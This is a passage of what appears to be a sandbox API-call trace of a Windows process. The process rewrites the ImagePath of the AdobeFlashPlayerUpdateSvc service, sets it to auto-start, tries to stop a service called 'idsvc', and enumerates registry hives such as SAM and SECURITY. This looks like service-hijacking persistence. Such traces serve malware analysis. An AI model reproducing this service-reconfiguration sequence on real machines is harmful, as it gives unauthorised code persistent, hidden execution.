(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0246.463] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0246.463] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0246.464] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0246.464] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0246.464] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0246.464] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0246.464] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0246.464] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0246.464] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0246.464] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0246.464] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0246.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0246.465] LocalFree (hMem=0x7f03d0) returned 0x0 [0246.465] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0246.465] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x2) returned 0x8038a0 [0246.465] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0246.466] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0246.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0246.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0246.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0246.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0246.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0246.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.467] RegCloseKey (hKey=0x154) returned 0x0 [0246.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0246.467] RegCloseKey (hKey=0x150) returned 0x0 [0246.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0246.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0246.467] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc905990, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xc905990, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x83a38000, ftLastWriteTime.dwHighDateTime=0x1d35cdb, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0246.467] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0246.467] GetLastError () returned 0x20 [0246.467] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0246.468] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0246.468] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0246.468] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x20) returned 0x803990 [0246.468] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0246.468] GetLastError () returned 0x426 [0246.468] CloseServiceHandle (hSCObject=0x803990) returned 1 [0246.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0246.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0246.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0246.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0246.469] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0246.469] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0246.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0246.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0246.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.469] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0246.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0246.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.469] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0246.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0246.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.470] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0246.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0246.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.470] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0246.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0246.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.470] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0246.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0246.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.471] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0246.471] RegCloseKey (hKey=0x80000002) returned 0x0 [0246.471] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0246.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0246.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0246.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.471] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0246.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0246.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0246.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.471] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0246.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0246.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f19b8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0246.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.472] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0246.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0246.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.472] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0246.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0246.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.472] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0246.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0246.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0246.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.472] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0246.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0246.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.473] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0246.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.473] WideCharToMultiByte (in: CodePage=0x0, 